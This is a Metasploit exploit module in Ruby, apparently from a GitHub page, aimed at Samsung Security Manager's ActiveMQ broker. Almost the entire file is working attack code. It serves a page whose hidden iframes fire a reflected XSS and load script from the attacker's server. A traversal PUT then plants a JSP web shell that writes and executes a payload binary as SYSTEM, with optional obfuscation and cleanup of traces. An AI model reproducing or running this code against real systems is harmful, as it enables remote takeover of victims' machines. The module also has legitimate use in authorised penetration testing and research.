Permalink
Fetching contributors…
Cannot retrieve contributors at this time
239 lines (208 sloc) 7.85 KB
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => "Samsung Security Manager 1.4 ActiveMQ Broker Service PUT Method Remote Code Execution",
'Description' => %q{
This is an exploit against Samsung Security Manager that bypasses the patch in ZDI-15-156 & ZDI-16-481
by exploiting the vulnerability against the client-side. This exploit has been tested successfully using
IE, FireFox and Chrome by abusing a GET request XSS to bypass CORS and reach the vulnerable PUT. Finally
a traversal is used in the PUT request to upload the code just where we want it and gain RCE as SYSTEM.
},
'License' => MSF_LICENSE,
'Author' =>
[
'mr_me <mr_me[at]offensive-security.com>', # AWAE training 2016
],
'References' =>
[
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-15-156/' ], # client vs server
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-16-481/' ] # client vs server
],
'Platform' => 'win',
'Targets' =>
[
[ 'Samsung Security Manager 1.32 & 1.4 Universal', {} ] # tested on 1.32 & 1.4
],
'DisclosureDate' => "Aug 05 2016",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
])
end
# this is because String.fromCharCode has a max of 65535 func args
# thanks to sinn3r for his help with the Array->String conversion
def encode_js(string)
i = 0
encoded_0 = []
encoded_1 = []
string.each_byte do |c|
if i > 65534
encoded_1 << c
else
encoded_0 << c
end
i += 1
end
if i > 65534
return encoded_0 * ",", encoded_1 * ","
else
return encoded_0 * ","
end
end
# tested on Firefox v46.0.1 (latest)
# tested on Chrome v50.0.2661.102 (latest release)
# tested on IE v11.0.9600.18314 (latest)
def on_request_uri(cli, request)
js_name = rand_text_alpha(rand(10)+5) + '.js'
payload_url = "http://"
payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/" + js_name
# we deliver the JavaScript code that does the work for us
if (request.uri.match(/.js/))
return if ((p = regenerate_payload(cli)) == nil)
# dont exploit again otherwise we get a zillion shells
return if session_created? or @exploited
jsp_name = rand_text_alpha(rand(10)+5) + '.jsp'
exe_name = rand_text_alpha(rand(10)+5) + '.exe'
# clean just the jsp, because the exe dropper will be in use
register_files_for_cleanup("../../webapps/admin/#{jsp_name}")
# our jsp upload, ensuring native code execution
jsp = %Q|<%@ page import="java.io.*" %>
<%
ByteArrayOutputStream buf = new ByteArrayOutputStream();
BufferedReader reader = request.getReader();
int tmp;
while ((tmp = reader.read()) != -1) { buf.write(tmp); }
FileOutputStream fostream = new FileOutputStream("#{exe_name}");
buf.writeTo(fostream);
fostream.close();
Runtime.getRuntime().exec("#{exe_name}");
%>|
# encode the payloads
encoded_exe = encode_js(generate_payload_exe(code: payload.encoded))
encoded_jsp = encode_js(jsp)
# targets
jsp_uri = "http://localhost:8161/fileserver/..%5c%5cadmin%5c%5c#{jsp_name}"
upload_uri = "http://localhost:8161/admin/#{jsp_name}"
# this code does the PUT, then uploads/exec native code and then cleans the XSS out :->
js_content = %Q|
function do_put(uri, file_data) {
var file_size = file_data.length;
var xhr = new XMLHttpRequest();
xhr.open("PUT", uri, true);
var body = file_data;
xhr.send(body);
return true;
}
function do_upload(uri, file_data) {
var file_size = file_data.length;
var xhr = new XMLHttpRequest();
xhr.open("POST", uri, true);
var body = file_data;
// latest ff doesnt have sendAsBinary(), so we redefine it
if(!xhr.sendAsBinary){
xhr.sendAsBinary = function(datastr) {
function byteValue(x) {
return x.charCodeAt(0) & 0xff;
}
var ords = Array.prototype.map.call(datastr, byteValue);
var ui8a = new Uint8Array(ords);
this.send(ui8a.buffer);
}
}
xhr.sendAsBinary(body);
return true;
}
function bye_bye_xss(uri){
var xhr = new XMLHttpRequest();
xhr.open('GET', uri.replace(/\\+/g,"%2b"), true);
xhr.send();
}
function clean_up(){
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var els = xhr.responseXML.getElementsByTagName("a");
for (var i = 0, l = els.length; i < l; i++) {
var el = els[i];
if (el.href.search("http://localhost:8161/admin/deleteDestination.action") == 0) {
bye_bye_xss(el.href);
}
}
}
}
xhr.open('GET', 'http://localhost:8161/admin/queues.jsp', true);
xhr.responseType = "document"; // so that we can parse the reponse as a document
xhr.send(null);
}
function exploit(){
do_upload('#{upload_uri}', String.fromCharCode(#{encoded_exe[0]}) + String.fromCharCode(#{encoded_exe[1]}));
clean_up();
}
function start() {
do_put('#{jsp_uri}', String.fromCharCode(#{encoded_jsp}));
setTimeout(exploit(), 4000); // timing is important
}
start();
|
if datastore['OBFUSCATE']
js_content = ::Rex::Exploitation::JSObfu.new(js_content)
js_content.obfuscate(memory_sensitive: true)
end
print_status("Sending javascript...")
@exploited = true
send_response_html(cli, js_content, { 'Content-Type' => 'application/javascript' })
return
end
if datastore['OBFUSCATE']
js_content = ::Rex::Exploitation::JSObfu.new(js_content)
js_content.obfuscate(memory_sensitive: true)
onlick = ::Rex::Exploitation::JSObfu.new(onlick)
onlick.obfuscate(memory_sensitive: true)
end
# we can bypass Access-Control-Allow-Origin (CORS) in all browsers using iframe since it makes a GET request
# and the response is recieved in the page (even though we cant access it due to SOP) which then fires the XSS
html_content = %Q|
<html>
<body>
<script>
function fire() {
var a = document.createElement('script');
a.type = 'text/javascript';
a.src = '#{payload_url}';
document.body.appendChild(a);
};
var code = fire.toString() + ";fire();";
var evalCode = 'eval("' + code + '")';
var if1 = document.createElement("iframe");
if1.src = 'http://localhost:8161/admin/browse.jsp?JMSDestination="%2b' + evalCode + '%2b"';
if1.width = 0;
if1.height = 0;
document.body.appendChild(if1);
</script>
<script>
window.onload = function() {
var if2 = document.createElement("iframe");
if2.src = "http://localhost:8161/admin/queueGraph.jsp"
if2.width = 0;
if2.height = 0;
document.body.appendChild(if2);
};
</script>
</body>
</html>
|
print_status("Sending exploit...")
send_response_html(cli, html_content)
handler(cli)
end
end